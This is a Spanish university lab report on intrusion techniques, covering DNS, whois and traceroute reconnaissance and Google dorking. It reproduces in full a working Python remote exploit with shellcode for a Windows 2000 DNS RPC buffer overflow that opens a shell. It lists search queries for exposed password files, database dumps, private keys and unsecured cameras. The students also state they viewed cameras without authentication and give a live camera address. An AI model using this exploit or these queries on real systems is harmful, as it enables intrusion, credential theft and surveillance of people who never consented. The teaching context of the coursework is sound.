

Practica 2

Illia nechesa | Pablo ospino

Seguridad en Sistemas Informáticos | 4º Curso | 27-10-2019

# Técnicas de intrusión

**Checkpoint 1**

El DNS guarda información sobre los dominios. La información de cada dominio se guarda en registros.

Tipos de registros:

- A. relación nombre-IP

- CNAME. nombres o alias de la máquina

- MX servidor de correo

- NS nombres asociados.

- LOC. localización geográfica.

Mediante consultas DNS, buscamos toda la información que podamos sobre los dominios telefónica.com y navalur.com:

\*\*Telefónica\*\*

* host -a [www.telefonica.com](http://www.telefonica.com)
* Trying "www.telefonica.com"
* ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4335
* ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 1
* ;; QUESTION SECTION:
* ;www.telefonica.com.            IN      ANY
* ;; ANSWER SECTION:
* www.telefonica.com.     300     IN      AAAA    2a02:9009:0:aa:aa01::
* www.telefonica.com.     300     IN      A       194.224.110.41
* ;; AUTHORITY SECTION:
* telefonica.com.         277     IN      NS      nsjc8hos01.telefonica-data.com.
* telefonica.com.         277     IN      NS      nsalchos01.telefonica-data.com.
* ;; ADDITIONAL SECTION:
* nsalchos01.telefonica-data.com. 42 IN   A       213.4.194.35
* Received 162 bytes from 130.206.158.253#53 in 36 ms
* host -t mx telefonica.com
* telefonica.com mail is handled by 10 telefonicacorp.mail.protection.outlook.com.

**Información obtenida**

De este comando obtenemos la siguiente info del dominio de telefonica:

- Dirección ipv4: 194.224.110.41

- Dirección ipv6: 2a02:9009:0:aa:aa01::

- Servidores de nombres asociados: nsjc8hos01.telefonica-data.com.

  - nsjc8hos01.telefonica-data.com.

  - nsalchos01.telefonica-data.com.

- El proveedor del servicio de email es Microsoft office Outlook.

  - Su servidor es: telefonicacorp.mail.protection.outlook.com.

\*\*Navalur\*\*

* host -a [www.navalur.com](http://www.navalur.com)
* Trying "www.navalur.com"
* ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37419
* ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 2
* ;; QUESTION SECTION:
* ;www.navalur.com.               IN      ANY
* ;; ANSWER SECTION:
* www.navalur.com.        2310    IN      MX      10 exmx1.directnic.com.
* www.navalur.com.        2310    IN      MX      20 exmx2.directnic.com.
* ;; AUTHORITY SECTION:
* navalur.com.            172330  IN      NS      expired-domain-ns51.directnic.com.
* navalur.com.            172330  IN      NS      expired-domain-ns50.directnic.com.
* ;; ADDITIONAL SECTION:
* expired-domain-ns50.directnic.com. 508 IN A     74.117.217.22
* expired-domain-ns51.directnic.com. 508 IN A     74.117.222.22
* Received 187 bytes from 130.206.158.253#53 in 12 ms

Otra información interesantes es que como vemos en la seccion AUTHORITY y en la sección ADDITIONAL todos estos dominios están expirados.

* host -t mx navalur.com
* navalur.com mail is handled by 20 exmx2.directnic.com.
* navalur.com mail is handled by 10 exmx1.directnic.com.

**Información obtenida**

La información obtenida de navalur.com es la siguiente:

- Los servidores de correo son dos:

  - exmx1.directnic.com.

  - exmx2.directnic.com.

- Los nombres asociados al servidor son:

  - expired-domain-ns51.directnic.com.

  - expired-domain-ns50.directnic.com.

**Checkpoint 2**

* whois 130.206.1.1
* Tras ejecutar el comando `whois 130.206.1.1` vemos que se trata de una IP perteneciente al rango RedIris. Una red nacional. En la respuesta que se nos dá un email para incidentes con la seguridad `seguridad@rediris.es`. Así que este será el correo al que enviariamos un mensaje denunciándolo.
* En el caso de que se hubiese recibido un correo de spam, correo basura, también existe un email especificado. Resulta que es el mismo `seguridad@rediris.es`
* **Hemos obtenido la información ejecutando el comando:** 
  + **whois 130.206.1.1 | grep @**

**De esta forma obteníamos solo por pantalla aquellas líneas que tengan @.**

**Checkpoint 3**

\*\***traceroute**\*\*: ruta que siguen los paquetes de un host a otro.

Necesario que el destino sea un servidor DNS o un servidor web, para conseguir acceder a puntos internos.

traceroute -p 53

traceroute -p 80

Punto de intercambio de españa no devuelve el ICMP

 1  s158m2.unavarra.es (130.206.158.2)  5.775 ms  3.155 ms  3.188 ms

 2  s158m1.unavarra.es (130.206.158.1)  7.595 ms  8.763 ms  8.561 ms

 3  xe4-1-0-53.unavarra.unizar.rt1.ara.red.rediris.es (130.206.195.1)  13.810 ms  13.759 ms  9.591 ms

 4  unizar.ae6.telmad.rt4.mad.red.rediris.es (130.206.245.94)  17.634 ms

    unizar.ae1.uva.rt1.cyl.red.rediris.es (130.206.245.14)  16.672 ms  17.689 ms

 5  uva.ae2.ciemat.rt1.mad.red.rediris.es (130.206.245.9)  19.214 ms  18.873 ms

    telmadi.ae1.ciemat.rt1.mad.red.rediris.es (130.206.245.1)  21.167 ms

 6  1and1.alta.espanix.net (185.79.175.174)  19.784 ms  22.417 ms  19.162 ms

 7  \* \* \*

 8  \* \* \*

 9  \* \* \*

**De todos los routers que aparecen en la salida no encontramos ninguno con el nombre de arsy. Vemos que el traceroute va por la red de rediris pero en el momento de llegar a alta.espanix.net no vuelve. Se puede suponer que este sea el momento en el que entra a la red de arsys. Puede ser que debido a un firewall tenga capado los paquetes ICMP y estos no puedan regresar.**

**De este modo nosotros no somos capaces de explorar la red de arsys en busca de qué maquinas están conectadas a la red. No somos capaces de acceder a su red privada.**

**Checkpoint 4**

\*\***Investigue sobre las siguientes cuestiones**\*\*

\*\***¿Que es un exploit?**\*\*

    --> Un exploit es básicamente un programa, o un codigo ejecutbale, el cual se aprovecha de un agujero de seguridad de alguna aplicacion, y lo usa en beneficio propio.

\*\***¿En que consisten las vulnerabilidades basadas en Buffer Overflow y qué consecuencias trae una vulnerabilidad de este tipo en un sistema?**\*\*

    --> El buffer overflow consiste en sobrepasar el uso de la cantidad de memoria asignada por el sistema operativo, escribiendo en un bloque de memoria que no es el determinado para ese programa o aplicación, es decir , escribiendo en un bloque contiguo.

    --> Esta famosa técnica es utilizada por muchos ciberdelicuentes, para ejecutar código propio, con objetivo de tomar control sobre el equipo de la víctima.

\*\***Busque en las bases de datos de vulnerabilidades fallos de seguridad de Windows 2000 referidas a Buffer Overflow. Indique el código CVE de una de ellas. ¿Hay exploit para dicha vulnerabilidad?**\*\*

    --> Microsoft Windows 2000 Event Viewer contains buffer overflow --> CVE-2001-0147

    --> Microsoft Windows 2000 System Monitor ActiveX Control contains buffer overflow --> CVE-2000-1034

    --> Buffer overflow in Microsoft Windows Shell -->  CVE-2002-0070

    --> Microsoft Windows Server 2000 SP4 - DNS RPC Remote Buffer Overflow --> CVE-2007-1748 --> Para este en concreto hay disponible un exploit

        --> El exploit es el de a continuacióm, está en Python

#!/usr/bin/python

#**Remote exploit for the 0day Windows DNS RPC service vulnerability as**

#**described in https://www.securityfocus.com/bid/23470/info. Tested on**

#**Windows 2000 SP4. The exploit if successful binds a shell to TCP port 4444**

#**and then connects to it.**

#

#**Cheers to metasploit for the first exploit.**

#**Written for educational and testing purposes.**

#**Author shall bear no responsibility for any damage caused by using this code**

#**Winny Thomas :-)**

import os

import sys

import time

from impacket.dcerpc import transport, dcerpc, epm

from impacket import uuid

#Portbind shellcode from metasploit; Binds port to TCP port 4444

shellcode  = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"

shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"

shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"

shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"

shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"

shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"

shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"

shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"

shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"

shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"

shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"

shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"

shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"

shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"

shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"

shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"

shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"

shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"

shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"

shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"

shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"

shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"

#**Stub sections taken from metasploit**

stub  = '\xd2\x5f\xab\xdb\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00'

stub += '\x70\x00\x00\x00\x00\x00\x00\x00\x1f\x38\x8a\x9f\x12\x05\x00\x00'

stub += '\x00\x00\x00\x00\x12\x05\x00\x00'

stub += '\\A' \* 465

#**At the time of overflow ESP points into our buffer which has each char**

#**prepended by a '\' and our shellcode code is about 24+ bytes away from**

#**where EDX points**

stub += '\\\x80\\\x62\\\xE1\\\x77'#Address of jmp esp from user32.dll

#**The following B's which in assembly translates to 'inc EDX' increments**

#**about 31 times EDX so that it points into our shellcode**

stub += '\\B' \* 43

#**Translates to 'jmp EDX'**

stub += '\\\xff\\\xe2'

stub += '\\A' \* 134

stub += '\x00\x00\x00\x00\x76\xcf\x80\xfd\x03\x00\x00\x00\x00\x00\x00\x00'

stub += '\x03\x00\x00\x00\x47\x00\x00\x00'

stub += shellcode

#**Code ripped from core security document on impacket**

#**www.coresecurity.com/files/attachments/impacketv0.9.6.0.pdf**

#**Not a neat way to discover a dynamic port :-)**

def DiscoverDNSport(target):

    trans = transport.SMBTransport(target, 139, 'epmapper')

    trans.connect()

    dce = dcerpc.DCERPC\_v5(trans)

    dce.bind(uuid.uuidtup\_to\_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA','3.0')))

    pm = epm.DCERPCEpm(dce)

    handle = '\x00'\*20

    while 1:

        dump = pm.portmap\_dump(handle)

        if not dump.get\_entries\_num():

            break

        handle = dump.get\_handle()

        entry = dump.get\_entry().get\_entry()

        if(uuid.bin\_to\_string(entry.get\_uuid()) == '50ABC2A4-574D-40B3-9D66-EE4FD5FBA076'):

            port = entry.get\_string\_binding().split('[')[1][:-1]

            return int(port)

    print '[-] Could not locate DNS port; Target might not be running DNS'

def ExploitDNS(target, port):

    trans = transport.TCPTransport(target, port)

    trans.connect()

    dce = dcerpc.DCERPC\_v5(trans)

    dce.bind(uuid.uuidtup\_to\_bin(('50abc2a4-574d-40b3-9d66-ee4fd5fba076','5.0')))

    dce.call(0x01, stub)

def ConnectRemoteShell(target):

    connect = "/usr/bin/telnet " + target + " 4444"

    os.system(connect)

if \_\_**name**\_\_ == '\_\_**main**\_\_':

    try:

        target = sys.argv[1]

    except IndexError:

        print 'Usage: %s <target ip address>' % sys.argv[0]

        sys.exit(-1)

    print '[+] Locating DNS RPC port'

    port = DiscoverDNSport(target)

    print '[+] Located DNS RPC service on TCP port: %d' % port

    ExploitDNS(target, port)

    print '[+] Exploit sent. Connecting to shell in 3 seconds'

    time.sleep(3)

    ConnectRemoteShell(target)

#**milw0rm.com [2007-04-15]**

**Checkpoint 5**

\*\***Investigue sobre las siguientes cuestiones**\*\*

"phone \* \* \*"  "address \*" "e-mail" intitle:"curriculum vitae" --> Realizando esta busqueda, he obtenido datos de muchas personas, información valiosa para un atacante, spammer, etc... Mismamente el primer resultado es un archivo en formato pdf con toda la informacion de una persona en concreto.

allintitle: "Outlook Web Access Logon" --> Con esta busqueda, aparecen varios resultados , que son paginas de acceso a diferentes instituciones.

\*\***Me dispongo a investigar el dominio ono.com**\*\*

> whois ono.com

Domain Name: ONO.COM

   Registry Domain ID: 96352\_DOMAIN\_COM-VRSN

   Registrar WHOIS Server: whois.nominalia.com

   Registrar URL: http://www.nominalia.com

   Updated Date: 2019-03-27T11:44:53Z

   Creation Date: 1995-08-02T04:00:00Z

   Registry Expiry Date: 2019-12-14T19:48:41Z

   Registrar: Nominalia Internet S.L.

   Registrar IANA ID: 76

   Registrar Abuse Contact Email: abuse@nominalia.com

   Registrar Abuse Contact Phone: +34.935074387

   Domain Status: ok https://icann.org/epp#ok

   Name Server: DNS01.ONO.COM

   Name Server: DNS02.ONO.COM

   DNSSEC: unsigned

   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/

>>> Last update of whois database: 2019-10-27T14:20:13Z <<<

For more information on Whois status codes, please visit https://icann.org/epp

NOTICE: The expiration date displayed in this record is the date the

registrar's sponsorship of the domain name registration in the registry is

currently set to expire. This date does not necessarily reflect the expiration

date of the domain name registrant's agreement with the sponsoring

registrar.  Users may consult the sponsoring registrar's Whois database to

view the registrar's reported date of expiration for this registration.

TERMS OF USE: You are not authorized to access or query our Whois

database through the use of electronic processes that are high-volume and

automated except as reasonably necessary to register domain names or

modify existing registrations; the Data in VeriSign Global Registry

Services' ("VeriSign") Whois database is provided by VeriSign for

information purposes only, and to assist persons in obtaining information

about or related to a domain name registration record. VeriSign does not

guarantee its accuracy. By submitting a Whois query, you agree to abide

by the following terms of use: You agree that you may use this Data only

for lawful purposes and that under no circumstances will you use this Data

to: (1) allow, enable, or otherwise support the transmission of mass

unsolicited, commercial advertising or solicitations via e-mail, telephone,

or facsimile; or (2) enable high volume, automated, electronic processes

that apply to VeriSign (or its computer systems). The compilation,

repackaging, dissemination or other use of this Data is expressly

prohibited without the prior written consent of VeriSign. You agree not to

use electronic processes that are automated and high-volume to access or

query the Whois database except as reasonably necessary to register

domain names or modify existing registrations. VeriSign reserves the right

to restrict your access to the Whois database in its sole discretion to ensure

operational stability.  VeriSign may restrict or terminate your access to the

Whois database for failure to abide by these terms of use. VeriSign

reserves the right to modify these terms at any time.

The Registry database contains ONLY .COM, .NET, .EDU domains and

Registrars.

Domain Name: ONO.COM

Registry Domain ID: 96352\_DOMAIN\_COM-VRSN

Registrar WHOIS Server: whois.nominalia.com

Registrar URL: http://www.nominalia.com

Updated Date: 2019-03-27T00:00:00Z

Creation Date: 2008-01-17T00:00:00Z

Registrar Registration Expiration Date: 2019-12-14T00:00:00Z

Registrar: NOMINALIA INTERNET S.L.

Registrar IANA ID: 76

Registrar Abuse Contact Email: abuse@nominalia.com

Registrar Abuse Contact Phone: +39.05520021555

Reseller:

Domain Status: ok https://icann.org/epp#ok

Registry Registrant ID:

Registrant Name: REDACTED FOR PRIVACY

Registrant Organization: Vodafone Ono, SAU

Registrant Street: REDACTED FOR PRIVACY

Registrant City: REDACTED FOR PRIVACY

Registrant State/Province: M

Registrant Postal Code: REDACTED FOR PRIVACY

Registrant Country: ES

Registrant Phone: REDACTED.FORPRIVACY

Registrant Phone Ext:

Registrant Fax: REDACTED.FORPRIVACY

Registrant Fax Ext:

Registrant Email: https://domaincontact.nominalia.com/contact-domain

Registry Admin ID:

Admin Name: REDACTED FOR PRIVACY

Admin Organization: REDACTED FOR PRIVACY

Admin Street: REDACTED FOR PRIVACY

Admin City: REDACTED FOR PRIVACY

Admin State/Province: M

Admin Postal Code: REDACTED FOR PRIVACY

Admin Country: ES

Admin Phone: REDACTED.FORPRIVACY

Admin Phone Ext:

Admin Fax: REDACTED.FORPRIVACY

Admin Fax Ext:

Admin Email: https://domaincontact.nominalia.com/contact-domain

Registry Tech ID:

Tech Name: REDACTED FOR PRIVACY

Tech Organization: REDACTED FOR PRIVACY

Tech Street: REDACTED FOR PRIVACY

Tech City: REDACTED FOR PRIVACY

Tech State/Province: Madrid

Tech Postal Code: REDACTED FOR PRIVACY

Tech Country: ES

Tech Phone: REDACTED.FORPRIVACY

Tech Phone Ext:

Tech Fax: REDACTED.FORPRIVACY

Tech Fax Ext:

Tech Email: https://domaincontact.nominalia.com/contact-domain

Name Server: DNS02.ONO.COM

Name Server: DNS01.ONO.COM

DNSSEC: unsigned

URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

>>> Last update of whois database: 2019-10-27T14:20:19Z <<<

**Checkpoint Opcional**

Como bien se comenta en la práctica, google es el motor de búsqueda mas avanzado que nos ofrece un enorme mecanismo de búsquedas avanzadas. Vamos ha hablar las mas interesantes que nos han parecido para descubrir objetivos.

**Ficheros con usuarios y contraseñas.**

Comando: > ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-"

Ejemplo:

A screenshot of a social media post

Description automatically generated

Este comando nos ofrece un listado de las paginas con usuarios y claves de administradores. Estas credenciales nos dan privilegios para modificar la web. Es interesante que con un simple comando puedas encontrar muchas máquinas a las que puedas atacar. Además, se ven directamente en Google, sin necesidad de entrar en la página.

Comando: > filetype:sql "# dumping data for table" "`PASSWORD` varchar"

Este comando nos va a buscar ficheros de volcado de bases de datos en las que están datos de usuarios y contraseñas. A pesar de que las contraseñas están con su correspondiente hash seguro que al pasarlas por un foro existe gente que ya las ha desencriptado. Y Aunque sea una, ya podremos usarla para autenticarnos en el sistema.

Ejemplo:

A screenshot of a social media post

Description automatically generated

Comando: > camera linksys inurl:main.cgi

Este comando ya nos busca cuales son los sistemas vulnerables, nos ofrece una localización de objetivos. Hemos recibido 104 resultados. En estos hemos sido capaces de acceder a las cámaras de monitorización sin ningún tipo de autentificación.

Ejemplo: <http://173.0.104.27:32003/img/main.cgi?next_file=main.htm>

A screenshot of a computer screen

Description automatically generated

Más cámaras: Comando: > inurl:"ViewerFrame?Mode="

A screenshot of a computer

Description automatically generated

Comando: > "BEGIN RSA PRIVATE KEY" filetype:key -github

Este commando nos busca claves privadas SSL que están expuestas en servidores web, descartando los resultados de github. Conseguir una clave privada significa poder hacer una intrusion o interceptar mensajes con una identidad que no es la tuya, muy util para los hackers, programadores…

Ejemplo:

A close up of a logo

Description automatically generated